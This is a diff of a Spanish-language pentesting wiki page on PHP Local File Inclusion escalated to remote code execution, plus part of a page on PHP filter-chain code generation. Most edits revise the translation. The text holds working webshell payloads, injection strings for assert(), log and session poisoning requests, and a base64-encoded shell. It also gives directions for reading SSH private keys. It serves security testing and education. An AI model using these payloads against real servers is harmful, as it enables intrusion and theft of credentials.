También puedes usar **php://stdin, php://stdout and php://stderr** para acceder a los **file descriptors 0, 1 and 2** respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque)
|
||||
|
||||
### zip:// and rar://
|
||||
|
||||
Sube un archivo Zip o Rar con un PHPShell dentro y accede a él.\
|
||||
Para poder abusar del protocolo rar, este **debe estar específicamente activado**.
|
||||
Para poder abusar del protocolo rar, este **debe activarse específicamente**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
@ -332,14 +332,14 @@ Ten en cuenta que este protocolo está restringido por las configuraciones de ph
|
||||
|
||||
### expect://
|
||||
|
||||
Expect debe estar activado. Puedes ejecutar código usando esto:
|
||||
Expect tiene que estar activado. Puedes ejecutar código usando esto:
|
||||
```
|
||||
http://example.com/index.php?page=expect://id
|
||||
http://example.com/index.php?page=expect://ls
|
||||
```
|
||||
### input://
|
||||
|
||||
Especifica tu payload en los parámetros POST:
|
||||
Especifique su payload en los parámetros POST:
|
||||
```bash
|
||||
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
||||
```
|
||||
@ -358,11 +358,11 @@ Para compilar el archivo `.phar`, se debe ejecutar el siguiente comando:
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
Al ejecutarse, se creará un archivo llamado `test.phar`, que podría aprovecharse para explotar vulnerabilidades de Local File Inclusion (LFI).
|
||||
Al ejecutarse, se creará un archivo llamado `test.phar`, que potencialmente podría aprovecharse para explotar vulnerabilidades de Local File Inclusion (LFI).
|
||||
|
||||
En casos donde el LFI solo realiza lectura de archivos sin ejecutar el código PHP contenido, mediante funciones como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` o `filesize()`, podría intentarse explotar una vulnerabilidad de deserialization. Esta vulnerabilidad está asociada con la lectura de archivos usando el protocolo `phar`.
|
||||
En casos donde el LFI solo realiza lectura de archivos sin ejecutar el código PHP contenido, mediante funciones como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` o `filesize()`, se podría intentar explotar una vulnerabilidad de deserialización. Esta vulnerabilidad está asociada con la lectura de archivos usando el protocolo `phar`.
|
||||
|
||||
Para una comprensión detallada de la explotación de vulnerabilidades de deserialization en el contexto de archivos `.phar`, consulte el documento enlazado a continuación:
|
||||
Para una comprensión detallada de cómo explotar vulnerabilidades de deserialización en el contexto de archivos `.phar`, consulte el documento enlazado a continuación:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
@ -373,36 +373,36 @@ phar-deserialization.md
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
Fue posible abusar de **any arbitrary file read from PHP that supports php filters** para obtener un RCE. La descripción detallada puede ser [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Resumen muy rápido: un **3 byte overflow** en el heap de PHP fue abusado para **alterar the chain of free chunks** de un tamaño específico con el fin de poder **write anything in any address**, por lo que se añadió un hook para llamar a **`system`**.\
|
||||
Fue posible alloc chunks de tamaños específicos abusando de más php filters.
|
||||
Fue posible abusar de **cualquier lectura de archivo arbitraria desde PHP que soporte php filters** para obtener un RCE. La descripción detallada puede ser [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Resumen muy breve: un **desbordamiento de 3 bytes** en el heap de PHP fue abusado para **alterar la cadena de bloques libres** de un tamaño específico con el fin de poder **escribir cualquier cosa en cualquier dirección**, por lo que se añadió un hook para llamar a **`system`**.\
|
||||
Se pudo asignar chunks de tamaños específicos abusando de más php filters.
|
||||
|
||||
### Más protocolos
|
||||
|
||||
Consulta más posibles[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escribe en memoria o en un archivo temporal (no estoy seguro de cómo esto puede ser útil en un file inclusion attack)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accediendo al sistema de archivos local
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accediendo a URLs HTTP(s)
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accediendo a URLs FTP(s)
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escribe en memoria o en un archivo temporal (no estoy seguro de cómo esto puede ser útil en un ataque de file inclusion)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Acceso al sistema de archivos local
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Acceso a URLs HTTP(s)
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acceso a URLs FTP(s)
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flujos de compresión
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encuentra pathnames que coinciden con un patrón (No devuelve nada imprimible, así que no es muy útil aquí)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Not useful to read arbitrary files)
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Flujos de audio (No útil para leer archivos arbitrarios)
|
||||
|
||||
## LFI vía 'assert' de PHP
|
||||
## LFI via PHP's 'assert'
|
||||
|
||||
Los riesgos de Local File Inclusion (LFI) en PHP son notablemente altos cuando se trata de la función 'assert', que puede ejecutar código dentro de strings. Esto es especialmente problemático si se verifica la entrada que contiene caracteres de directory traversal como ".." pero no se sanitiza correctamente.
|
||||
Los riesgos de Local File Inclusion (LFI) en PHP son especialmente altos cuando se trata de la función 'assert', que puede ejecutar código dentro de cadenas. Esto es particularmente problemático si se están comprobando entradas que contienen caracteres de directory traversal como ".." pero no se sanitizan correctamente.
|
||||
|
||||
Por ejemplo, el código PHP podría estar diseñado para prevenir directory traversal de la siguiente manera:
|
||||
Por ejemplo, el código PHP podría estar diseñado para prevenir directory traversal así:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Si bien esto apunta a detener traversal, inadvertidamente crea un vector para code injection. Para explotar esto y leer el contenido de archivos, un atacante podría usar:
|
||||
Si bien esto pretende detener el traversal, inadvertidamente crea un vector para code injection. Para explotar esto y leer el contenido de archivos, un atacante podría usar:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
De forma similar, para ejecutar comandos arbitrarios del sistema, se podría usar:
|
||||
De manera similar, para ejecutar comandos arbitrarios del sistema, se puede usar:
|
||||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
@ -411,17 +411,17 @@ Es importante **URL-encode these payloads**.
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> Esta técnica es relevante en casos donde tú **controlas** la **file path** de una **PHP function** que va a **access a file** pero no verás el contenido del archivo (como una llamada simple a **`file()`**) porque el contenido no se muestra.
|
||||
> Esta técnica es relevante en casos donde controlas la **ruta de archivo** de una **PHP function** que va a **acceder a un archivo** pero no verás el contenido del archivo (como una llamada simple a **`file()`**) aunque el contenido no se muestre.
|
||||
|
||||
En [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo un blind path traversal puede ser abusado vía PHP filter para **exfiltrate the content of a file via an error oracle**.
|
||||
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
|
||||
|
||||
En resumen, la técnica usa la codificación **"UCS-4LE"** para hacer que el contenido de un archivo sea tan **big** que la **PHP function opening** el archivo provoque un **error**.
|
||||
As sumary, the technique is using the **"UCS-4LE" encoding** to make the content of a file so **big** that the **PHP function opening** the file will trigger an **error**.
|
||||
|
||||
Luego, para leak the first char se usa el filter **`dechunk`** junto con otros como **base64** o **rot13** y finalmente los filters **convert.iconv.UCS-4.UCS-4LE** y **convert.iconv.UTF16.UTF-16BE** se usan para **place other chars at the beggining and leak them**.
|
||||
Then, in order to leak the first char the filter **`dechunk`** is used along with other such as **base64** or **rot13** and finally the filters **convert.iconv.UCS-4.UCS-4LE** and **convert.iconv.UTF16.UTF-16BE** are used to **place other chars at the beggining and leak them**.
|
||||
|
||||
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
Para los detalles técnicos consulta el post mencionado!
|
||||
Para los detalles técnicos revisa el post mencionado!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
@ -429,18 +429,18 @@ Para los detalles técnicos consulta el post mencionado!
|
||||
|
||||
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
|
||||
|
||||
Flujo típico de explotación:
|
||||
- Identifica una primitiva de escritura en un endpoint o background worker que acepta una path/filename y escribe contenido al disco (p. ej., ingesta basada en mensajes, manejadores de comandos XML/JSON, extractores ZIP, etc.).
|
||||
- Determina directorios expuestos en la web. Ejemplos comunes:
|
||||
Typical exploitation workflow:
|
||||
- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
|
||||
- Determine web-exposed directories. Common examples:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||
- Construye una ruta de traversal que salga del directorio de almacenamiento previsto hacia el webroot, e incluye el contenido de tu webshell.
|
||||
- Navega hasta el payload colocado y ejecuta comandos.
|
||||
- Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
|
||||
- Browse to the dropped payload and execute commands.
|
||||
|
||||
Notas:
|
||||
- El servicio vulnerable que realiza la escritura puede escuchar en un puerto no-HTTP (p. ej., un JMF XML listener en TCP 4004). El portal web principal (puerto diferente) servirá más tarde tu payload.
|
||||
- En stacks Java, estas escrituras de archivos a menudo se implementan con simples concatenaciones `File`/`Paths`. La falta de canonicalisation/allow-listing es la falla central.
|
||||
Notes:
|
||||
- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
|
||||
- On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw.
|
||||
|
||||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||||
```xml
|
||||
@ -467,25 +467,25 @@ in.transferTo(out);
|
||||
</JMF>
|
||||
```
|
||||
Hardening that defeats this class of bugs:
|
||||
- Resuelve a una ruta canónica y fuerza que sea descendiente de un directorio base allow-listed.
|
||||
- Resuelve a una ruta canónica y asegúrate de que sea descendiente de un directorio base permitido.
|
||||
- Rechaza cualquier ruta que contenga `..`, raíces absolutas, o letras de unidad; prefiere nombres de archivo generados.
|
||||
- Ejecuta el writer como una cuenta de bajos privilegios y segrega los directorios de escritura de las raíces servidas.
|
||||
- Ejecuta el writer con una cuenta de bajo privilegio y separa los directorios de escritura de las raíces servidas.
|
||||
|
||||
## Remote File Inclusion
|
||||
|
||||
Explicado anteriormente, [**sigue este enlace**](#remote-file-inclusion).
|
||||
Explained previously, [**follow this link**](#remote-file-inclusion).
|
||||
|
||||
### Vía archivo de logs de Apache/Nginx
|
||||
### Via Apache/Nginx log file
|
||||
|
||||
Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función include podrías intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, colocar en el **user agent** o en un **GET parameter** un php shell como **`<?php system($_GET['c']); ?>`** e incluir ese archivo
|
||||
Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función include podrías intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, insertar en el **user agent** o en un **GET parameter** un php shell como **`<?php system($_GET['c']); ?>`** e incluir ese archivo
|
||||
|
||||
> [!WARNING]
|
||||
> Ten en cuenta que **si usas comillas dobles** para el shell en lugar de **comillas simples**, las comillas dobles serán modificadas por la cadena "_**quote;**_", **PHP lanzará un error** allí y **nada más se ejecutará**.
|
||||
>
|
||||
> Además, asegúrate de **escribir correctamente el payload** o PHP fallará cada vez que intente cargar el archivo de logs y no tendrás una segunda oportunidad.
|
||||
|
||||
Esto también podría hacerse en otros logs pero **ten cuidado,** el código dentro de los logs podría estar codificado en URL y esto podría destruir la Shell. El header **authorisation "basic"** contiene "user:password" en Base64 y es decodificado dentro de los logs. El PHPShell podría ser insertado dentro de este header.\
|
||||
Otros posibles archivos de log:
|
||||
Esto también se podría hacer en otros logs pero **ten cuidado,** el código dentro de los logs podría estar URL encoded y eso podría destruir el Shell. El header **authorisation "basic"** contiene "user:password" en Base64 y se decodifica dentro de los logs. El PHPShell podría ser insertado dentro de este header.\
|
||||
Otros posibles log paths:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
/var/log/apache/access.log
|
||||
@ -499,44 +499,44 @@ Otros posibles archivos de log:
|
||||
```
|
||||
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||||
|
||||
### Vía correo electrónico
|
||||
### Vía Email
|
||||
|
||||
**Envía un correo** a una cuenta interna (user@localhost) que contenga tu payload PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e intenta incluir el correo del usuario con una ruta como **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
|
||||
**Enviar un correo** a una cuenta interna (user@localhost) que contenga tu payload PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e intenta incluir el archivo de correo del usuario con una ruta como **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### Vía /proc/*/fd/*
|
||||
### Vía /proc/\*/fd/\*
|
||||
|
||||
1. Sube muchas shells (por ejemplo: 100)
|
||||
2. Incluye [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del proceso (puede ser brute forced) y $FD el descriptor de archivo (también puede ser brute forced)
|
||||
2. Incluye [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del proceso (can be brute forced) y $FD el file descriptor (can be brute forced too)
|
||||
|
||||
### Vía /proc/self/environ
|
||||
|
||||
Como un archivo de logs, envía el payload en el User-Agent; será reflejado dentro del archivo /proc/self/environ
|
||||
Como en un archivo de log, envía el payload en el User-Agent; se reflejará dentro del archivo /proc/self/environ
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Via upload
|
||||
### Mediante upload
|
||||
|
||||
Si puedes upload un archivo, simplemente inyecta el shell payload en él (e.g : `<?php system($_GET['c']); ?>` ).
|
||||
Si puedes upload un archivo, simplemente inyecta el shell payload en él (p. ej.: `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
Para mantener el archivo legible, es mejor inyectar en los metadatos de las imágenes/doc/pdf
|
||||
|
||||
### Mediante subida de archivo ZIP
|
||||
### Vía subida de archivo ZIP
|
||||
|
||||
Sube un archivo ZIP que contenga un PHP shell comprimido y accede a:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### A través de sesiones PHP
|
||||
### Mediante PHP sessions
|
||||
|
||||
Comprueba si el sitio web usa sesiones PHP (PHPSESSID)
|
||||
Comprueba si el sitio web usa PHP Session (PHPSESSID)
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
```
|
||||
En PHP, estas sesiones se almacenan en _/var/lib/php5/sess\\_\[PHPSESSID]\_ archivos
|
||||
En PHP, estas sesiones se almacenan en los archivos _/var/lib/php5/sess\\_\[PHPSESSID]\_
|
||||
```
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
@ -549,71 +549,71 @@ Usa el LFI para incluir el archivo de sesión de PHP
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
### Mediante ssh
|
||||
### Vía ssh
|
||||
|
||||
Si ssh está activo, comprueba qué usuario se está usando (/proc/self/status & /etc/passwd) e intenta acceder a **\<HOME>/.ssh/id_rsa**
|
||||
Si ssh está activo, verifica qué usuario se está usando (/proc/self/status & /etc/passwd) y intenta acceder a **\<HOME>/.ssh/id_rsa**
|
||||
|
||||
### **Mediante** **vsftpd** _**logs**_
|
||||
### **Vía** **vsftpd** _**logs**_
|
||||
|
||||
Los logs del servidor FTP vsftpd se encuentran en _**/var/log/vsftpd.log**_. En el escenario en el que exista una Local File Inclusion (LFI) y sea posible acceder a un servidor vsftpd expuesto, se pueden considerar los siguientes pasos:
|
||||
Los logs del servidor FTP vsftpd se encuentran en _**/var/log/vsftpd.log**_. En el escenario donde existe una vulnerabilidad de Local File Inclusion (LFI), y es posible acceder a un servidor vsftpd expuesto, se pueden considerar los siguientes pasos:
|
||||
|
||||
1. Inyecta un PHP payload en el campo username durante el proceso de login.
|
||||
2. Tras la inyección, utiliza la LFI para recuperar los logs del servidor desde _**/var/log/vsftpd.log**_.
|
||||
1. Inyecta un payload PHP en el campo username durante el proceso de login.
|
||||
2. Después de la inyección, utiliza la LFI para recuperar los logs del servidor desde _**/var/log/vsftpd.log**_.
|
||||
|
||||
### Mediante el filtro base64 de php (usando base64)
|
||||
### Vía php base64 filter (using base64)
|
||||
|
||||
Como se muestra en [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artículo, el filtro base64 de PHP simplemente ignora lo que no es base64. Puedes usar eso para eludir la comprobación de extensión de archivo: si suministras base64 que termina con ".php", simplemente ignorará el "." y añadirá "php" al base64. Aquí hay un ejemplo de payload:
|
||||
As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filters (no se necesita archivo)
|
||||
### Vía php filters (no se necesita archivo)
|
||||
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **php filters para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para el include **sin necesidad de escribirlo** en un archivo.
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
{{#endref}}
|
||||
|
||||
### Via segmentation fault
|
||||
### Vía segmentation fault
|
||||
|
||||
**Upload** un archivo que será almacenado como **temporary** en `/tmp`, luego en la **same request,** provoca un **segmentation fault**, y entonces el **temporary file won't be deleted** y podrás buscarlo.
|
||||
**Sube** un archivo que será almacenado como **temporal** en `/tmp`, luego en la **misma request** provoca un **segmentation fault**, y entonces el **archivo temporal no será eliminado** y podrás buscarlo.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-segmentation-fault.md
|
||||
{{#endref}}
|
||||
|
||||
### Via Nginx temp file storage
|
||||
### Vía Nginx temp file storage
|
||||
|
||||
Si encuentras una **Local File Inclusion** y **Nginx** está corriendo delante de PHP, podrías obtener RCE con la siguiente técnica:
|
||||
Si encontraste una **Local File Inclusion** y **Nginx** está ejecutándose delante de PHP, podrías obtener RCE con la siguiente técnica:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-nginx-temp-files.md
|
||||
{{#endref}}
|
||||
|
||||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||||
### Vía PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
Si encuentras una **Local File Inclusion** incluso si **no tienes una session** y `session.auto_start` está `Off`. Si proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **multipart POST**, PHP **habilitará la session por ti**. Podrías abusar de esto para obtener RCE:
|
||||
Si encontraste una **Local File Inclusion** incluso si **no tienes sesión** y `session.auto_start` está en `Off`. Si proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **multipart POST**, PHP **habilitará la sesión por ti**. Podrías abusar de esto para obtener RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
{{#endref}}
|
||||
|
||||
### Via temp file uploads in Windows
|
||||
### Vía temp file uploads en Windows
|
||||
|
||||
Si encuentras una **Local File Inclusion** y el servidor está corriendo en **Windows**, podrías obtener RCE:
|
||||
Si encontraste una **Local File Inclusion** y el servidor está ejecutándose en **Windows**, podrías obtener RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-temp-file-uploads.md
|
||||
{{#endref}}
|
||||
|
||||
### Via `pearcmd.php` + URL args
|
||||
### Vía `pearcmd.php` + URL args
|
||||
|
||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||||
|
||||
@ -639,7 +639,7 @@ lfi2rce-via-phpinfo.md
|
||||
|
||||
### Mediante compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
|
||||
Si encontraste una **Local File Inclusion** y **puedes exfiltrar la ruta** del archivo temporal PERO el **server** está **comprobando** si el **archivo a incluir tiene marcas PHP**, puedes intentar **evadir esa comprobación** con esta **Race Condition**:
|
||||
Si encontraste una **Local File Inclusion** y puedes **exfiltrar la ruta** del archivo temporal PERO el **servidor** está **comprobando** si el **archivo a incluir tiene marcas PHP**, puedes intentar **evadir esa comprobación** con esta **Race Condition**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -648,23 +648,23 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
|
||||
### Mediante eternal waiting + bruteforce
|
||||
|
||||
Si puedes abusar del LFI para **subir archivos temporales** y hacer que el server **cuelgue** la ejecución de PHP, entonces podrías **brute force** nombres de archivo durante horas para encontrar el archivo temporal:
|
||||
Si puedes abusar del LFI para **upload temporary files** y hacer que el servidor **hang** la ejecución de PHP, podrías entonces **brute force filenames during hours** para encontrar el archivo temporal:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
{{#endref}}
|
||||
|
||||
### A Fatal Error
|
||||
### Hacia un Fatal Error
|
||||
|
||||
Si incluyes cualquiera de los archivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Necesitas incluir el mismo 2 veces para provocar ese error).
|
||||
|
||||
**No sé cuán útil es esto, pero podría serlo.**\
|
||||
_Incluso si causas un PHP Fatal Error, los archivos temporales de PHP subidos se eliminan._
|
||||
**No sé cómo puede ser útil esto, pero podría serlo.**\
|
||||
_Incluso si provocas un PHP Fatal Error, los archivos temporales de PHP subidos se eliminan._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## References
|
||||
## Referencias
|
||||
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
|
||||
@ -5,29 +5,29 @@
|
||||
|
||||
## Introducción
|
||||
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters to generate arbitrary content** as output. Lo que básicamente significa que puedes **generar código PHP arbitrario** para el include **sin necesidad de escribirlo** en un archivo.
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **php filters to generate arbitrary content** como salida. Lo que básicamente significa que puedes **generate arbitrary php code** para el include **without needing to write** en un archivo.
|
||||
|
||||
Básicamente el objetivo del script es **generar una cadena Base64** al **comienzo** del archivo que será **decodificada finalmente**, proporcionando la payload deseada que será **interpretada por `include`**.
|
||||
Básicamente el objetivo del script es **generar una cadena Base64** al **comienzo** del archivo que será **finalmente decodificada**, proporcionando la payload deseada que será **interpretada por `include`**.
|
||||
|
||||
Las bases para hacer esto son:
|
||||
|
||||
- `convert.iconv.UTF8.CSISO2022KR` siempre antepondrá `\x1b$)C` a la cadena
|
||||
- `convert.base64-decode` es extremadamente tolerante, básicamente ignorará cualquier carácter que no sea válido en base64. Da algunos problemas si encuentra un "=" inesperado, pero esos pueden ser eliminados con el filtro `convert.iconv.UTF8.UTF7`.
|
||||
- `convert.base64-decode` es extremadamente tolerante, básicamente ignorará cualquier carácter que no sea válido en base64. Da algunos problemas si encuentra un "=" inesperado, pero esos pueden eliminarse con el filtro `convert.iconv.UTF8.UTF7`.
|
||||
|
||||
El bucle para generar contenido arbitrario es:
|
||||
|
||||
1. anteponer `\x1b$)C` a nuestra cadena como se describió arriba
|
||||
2. aplicar una cadena de conversiones iconv que deje nuestro base64 inicial intacto y convierta la parte que acabamos de anteponer a una cadena donde el único carácter válido de base64 sea la siguiente parte de nuestro código PHP codificado en base64
|
||||
2. aplicar alguna cadena de conversiones iconv que deje intacto nuestro base64 inicial y convierta la parte que acabamos de anteponer a una cadena donde el único carácter válido de base64 sea la siguiente parte de nuestro código php codificado en base64
|
||||
3. base64-decode y base64-encode la cadena, lo que eliminará cualquier basura intermedia
|
||||
4. Volver al paso 1 si el base64 que queremos construir aún no está terminado
|
||||
5. base64-decode para obtener nuestro código PHP
|
||||
4. volver al paso 1 si el base64 que queremos construir aún no está terminado
|
||||
5. base64-decode para obtener nuestro código php
|
||||
|
||||
> [!WARNING]
|
||||
> **Includes** usualmente hacen cosas como **añadir ".php" al final** del archivo, lo que podría dificultar la explotación porque necesitarías encontrar un archivo .php con un contenido que no rompa el exploit... o **puedes usar `php://temp` como recurso** porque puede **tener cualquier cosa añadida en el nombre** (p. ej. +".php") y aun así permitir que el exploit funcione!
|
||||
> **Includes** usually do things like **appending ".php" at the end** of the file, which could diffecult the exploitation of this because you would need to find a .php file with a content that does't kill the exploit... or you **could just use `php://temp` as resource** because it can **have anything appended in the name** (lie +".php") and it will still allow the exploit to work!
|
||||
|
||||
## Cómo añadir sufijos a los datos resultantes
|
||||
## Cómo añadir también sufijos a los datos resultantes
|
||||
|
||||
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) cómo aún puedes abusar de PHP filters para añadir sufijos a la cadena resultante. Esto es útil en caso de que necesites que la salida tenga un formato específico (como json o quizá añadir algunos bytes mágicos de PNG)
|
||||
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) cómo aún puedes abusar de PHP filters para añadir sufijos a la cadena resultante. Esto es genial en caso de que necesites que la salida tenga un formato específico (como json o quizá añadiendo algunos PNG magic bytes)
|
||||
|
||||
## Herramientas automáticas
|
||||
|
||||
@ -96,7 +96,7 @@ print(r.text)
|
||||
```
|
||||
### Mejoras
|
||||
|
||||
El script anterior está limitado a los caracteres base64 necesarios para esa carga útil. Por lo tanto, creé mi propio script para **bruteforce todos los caracteres base64**:
|
||||
El script anterior está limitado a los caracteres base64 necesarios para ese payload. Por lo tanto, creé mi propio script para **bruteforce all the base64 characters**:
|
||||
